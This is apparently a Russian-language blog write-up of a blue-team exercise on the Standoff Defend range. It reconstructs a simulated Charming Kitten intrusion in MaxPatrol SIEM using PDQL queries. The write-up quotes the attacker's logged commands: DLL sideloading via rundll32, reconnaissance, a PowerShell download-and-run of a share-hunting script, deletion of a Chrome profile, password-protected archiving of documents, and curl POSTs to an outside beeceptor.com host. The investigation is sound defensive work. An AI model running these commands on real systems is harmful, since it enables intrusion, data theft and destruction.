Всем привет! Недавно закрылось расследование атаки APT-группировки Charming Kitten с онлайн марафона, который проходил на онлайн-полигоне Standoff Defend, созданный для тренировки синих команд. Сейчас я бы хотел показать решение и полную цепочку, которую нужно было составить
EpsYlon Solutions
Компания является ведущим поставщиком интегрированных IT-решений, которые позволяют клиентам эффективно реализовывать сложные проекты в сфере информационных технологий, учитывая особенности их отрасли. Именно эта компания подверглась атаке.
С полным описанием инфраструктуры компании вы можете познакомиться тут
Charming Kitten APT
Ближневосточная кибергруппировка (предположительно, прогосударственная) смогла добраться до целевого устройства и провести тщательную разведку. Мы зафиксировали подозрительную активность на этапе коммуникации с управляющим сервером. Попробуйте разобраться, что удалось украсть преступникам.
Группировка часто эксплуатирует недавно обнаруженные уязвимости (N-day), такие как Log4j, в комплексных атаках. У нее есть несколько подгрупп, одна из которых — Nemesis Kitten (DEV-0270, Storm-0270)
Знакомство с SIEM и тем как расследовать
Как провести расследование?
Нам дан MaxPatrol SIEM.
Форматы ввода:
-
Для IP-адреса: только цифры и точки (xxx.xxx.xxx.xxx). Пример: 192.168.1.1, 10.0.0.25
-
Для FQDN (Fully Qualified Domain Name): доменное имя в формате host.example.com (без http://, https:// или пробелов). Пример: server01.corp.local, proxy.company.org
Стоит также познакомится с языком запросов, который используется в SIEM - это язык PDQL (Positive Data Query Language). А также изучить инструкцию по созданию отчета
Го расследовать
Первые шаги
Вводные данные: В папке C:UsersPublic найден архив с названием Documents.7z. Есть подозрение, что кто-то проводил эксфильтрацию данных на рабочей станции tmorgan.bureau.stf.
Атака произошла 11.03.2025.
Для начала поставим нужное время в SIEM
Соберем данные:
-
папка и файл: C:UsersPublicDocuments.7z
-
рабочая ст��нция: tmorgan.bureau.stf (10.130.24.199)
-
скорее всего для разархивирования будет использован 7z
Строим первый запрос:
event_src.host = "tmorgan.bureau.stf" AND subject.process.name = "7z.exe" OR object.process.name = "7z.exe"
Первое, что мы находим это алерт 17:08:26 "User ptadmin started suspicious process 7z.exe on host tmorgan.bureau.stf"
Смотрим на артефакты и на таблицу заполнение отчета о расследовании атаки.
При выборе типа артефакта необходимо использовать таблицу приоритетов, приведенную ниже. Приоритетные типы расположены в верхней части таблицы, менее приоритетные — в нижней.
Первое что мы выделим это абсолютный путь (а именно с C:UsersPublicDocuments.7z), потому что ни URL, ни взаимодействия с реестром пока что не было, ip адрес мог быть если бы этот Documents.7z откуда-нибудь скачивался, но такого не было.
Рассмотрим поподробнее саму команду, которая стригерила 7z.exe (это будет полеobject.process.cmdline)
7z a -t7z -pp@ss -r0 C:UsersPublicDocuments.7z C:UsersPublicDocuments
Команда добавила в архив Documents.7z с паролем p@ss все файлы из директории C:UsersPublicDocuments
Пойдем более выше: рассмотрим подробнее команды, которые были выполнены над папкой Documents
event_src.host = "tmorgan.bureau.stf" AND object.process.cmdline contains "Documents"
Еще с первого запроса я заметил странный чейн (Цепочки порождения процессов) у всех событий, так что я выделил это поле как отдельный столбец
Тщательнее рассмотрев события над папкой Documents, становиться ясно, что
-
16:17:11
cmd.exe ← rundll32.exe ← agent.exe:cmd.exe /c dir & del /q Documents & cd Documents & mkdir NewFolder -
16:23:57
исполнение скрипт блоковpowerhuntshares.psm1 -
17:08:26
cmd.exe ← rundll32.exe ← agent.exe:cmd.exe /c echo password: p@ss & 7z a -t7z -pp@ss -r0 %PUBLIC%Documents.7z %PUBLIC%Documentsиз которой получилось событие с чейном 7z.exe ← cmd.exe ← rundll32.exe ← agent.exe7z a -t7z -pp@ss -r0 C:UsersPublicDocuments.7z C:UsersPublicDocuments
т.е. то, что мы нашли выше - это середина инцидента. Предположительно, все началось с какого-то процесса agent.exe. Нужно постепенно дойти до него.
Спускаемся вниз
Смотрим сначала, где у нас используется строка "agent"
event_src.host = "tmorgan.bureau.stf" AND object.process.cmdline contains "agent"
-
15:40:09 agent.exe исполняет команду
rundll32.exe "C:Program FilesStandoffAgentarcher_toxic.windows_mHh1BcR.dll",sideloading_dispatcher -t de6be34b-ea8a-4198-b3bf-14a91e5362a9 -c 10.130.24.199
Видим, что используется инструмент Archer Toxic
Посмотрим еще более глобально с помощью фильтра "body contains" (на самом деле мой любимый фильтр, но с ним нужно быть осторожнее, потому что если событий много, то можно не дожаться отвата, а худшем случае положить сервер)
event_src.host = "tmorgan.bureau.stf" AND body contains "agent.exe"
Можем предположить, что agent.exe запустился примерно в 14:47:58, после чего rundll32.exe открыл соединение для злоумышленника.
Продолжаем
Теперь пора выстроить всю цепочку действий
-
14:47:58 tcp конекты от
agent.exe -
15:40:08 Процесс agent.exe создал файл
archer_toxic.windows_mhh1bcr.dllна хостеtmorgan.bureau.stf(c:program filesstandoffagentarcher_toxic.windows_mhh1bcr.dll) -
15:40:09 видно использование инструмента archer toxic
rundll32.exe "C:Program FilesStandoffAgentarcher_toxic.windows_mHh1BcR.dll",sideloading_dispatcher -t de6be34b-ea8a-4198-b3bf-14a91e5362a9 -c 10.130.24.199 -
15:40:10 старт tcp коннектов
-
15:45:50 исполнена команда
cmd.exe /c whoami
-
15:50:31
cmd.exe /c net view & ping -n 1 8.8.8.8 -
15:50:31
net view -
15:52:18
cmd.exe /C "net share > network_shares.txt"
net share-
16:00:59
cmd.exe /c hostname -
16:17:11
cmd.exe /c dir & del /q Documents & cd Documents & mkdir NewFolder -
16:23:51 попытка скачать и запустить скрипт
powerhuntshares.psm1на хосте tmorgan.bureau.stfpowershell.exe -Command " Set-ExecutionPolicy -Scope Process Bypass -Force ; Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1' -OutFile PowerHuntShares.psm1 ; Import-Module .PowerHuntShares.psm1" ; Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:/temp/test -
16:23:57 скриптблоки
powerhuntshares.psm1выполнены -
16:39:43 обнаружена попытка запроса к реестру на хосте tmorgan.bureau.stf
cmd.exe /c "reg query HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerTypedPaths > typed_paths.txt" -
16:47:13 попытка запустить скрипт
security_software_discovery.vbsна хосте tmorgan.bureau.stfcmd.exe /c cscript security_software_discovery.vbs -
16:58:54
cmd.exe /c cd "%LOCALAPPDATA%GoogleChromeUser Data" & rd /s /q Default -
17:08:21 процесс
agent.exeсоздал файл7z.dllна хосте tmorgan.bureau.stf -
17:08:26 Юзер ptadmin запустил процесс 7z.exe на хосте tmorgan.bureau.stf
7z a -t7z -pp@ss -r0 C:UsersPublicDocuments.7z C:UsersPublicDocuments+ процесс 7z.exe загрузил библитеку 7z.dll на хосте tmorgan.bureau.stf, Пользователь ptadmin запустил вредоносный код, разместив файл библиотеки 7z.dll рядом с легитимным приложением 7z.exe и запустив это приложение. -
Попытка нарушения безопасности со стороны пользователя ptadmin, запустившего процесс rundll32.exe и создавшего файл
7z.dllна хосте tmorgan.bureau.stf.
Рис 9. События с 7z.exe -
17:19:06
cmd.exe /c curl -X POST -d "id=123" -d "command=get" https://testtest.free.beeceptor.com --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
-
17:19:09 IP-адреса для хоста
testtest.free.beeceptor.comна хосте tmorgan.bureau.stf определен как159.89.140.122 -
17:21:52 процесс
agent.exeсоздал файлstandard_encoding.ps1на хосте tmorgan.bureau.stf -
17:21:53
standard_encoding.ps1выполнен
Рис 10. Начало скрипта standard_encoding.ps1 -
17:21:55
IP-адреса для хостаstandardenc.free.beeceptor.com- 159.89.140.122
Как выстраивался чейн
Несколько техник, которыми я воспользовался, чтобы выстроить всю цепочку:
-
Следование по чейну через id процессов
Здесь и тут более подробно по этой темеЧейн процесса - это вещь вида "rundll32.exe ← agent.exe". Чаще всего она оставалась такой и хакер делал все свои действия из нее. При использовании какой-нибудь утилиты чейн расширялся. К примеру вот:
Рис 11. Пример расширение чейна
Рис 12. Использование object.process.idЕсли мы нашли процесс только с чейном "hostname.exe ← cmd.exe ← rundll32.exe ← agent.exe",
Рис 13. пример object.process.idиobject.process.parent.idто смогли бы перейти к родительскому процессу, найдя
object.process.parent.id:884. Потом просто создаем фильтр и получаем все команды, исполненные из родительского:event_src.host = "tmorgan.bureau.stf" AND object.process.id = 884 -
каждая команда запускалась без
-WindowStyle Hidden, поэтому она "прикреплялась" к еще одному процессу - созданию окна выполнения команды
conhost.exe-
Хорошим советом будет пользоваться корреляцией
-
убираем tcp конекты, когда мешают с помощью
object != "connection", -
curl обращается в интернет, а это значит нельзя забывать про dns запросы при обращении на какие-то ресурсы (ip адрес как артефакт)
-
Пользоваться таблицей приоритетов
Все шаги расследования и результаты
Сначала я думал что нужно выстраивать шаги с самого начала атаки, но потом разобрался, что подходит любой - главное чтобы он был правильным
Вполне себе неплохая атака из 12 шагов, подкрепил знания продукта MP SIEM от позитивов.
Также кому интересно у меня есть небольшой склад заметок в основном по вебу и форензике, но иногда и другим категориям с CTF. Чуть-чуть про багбаунти (надеюсь будет больше) - https://t.me/Fastyyy_bio
Автор: Fastyyy
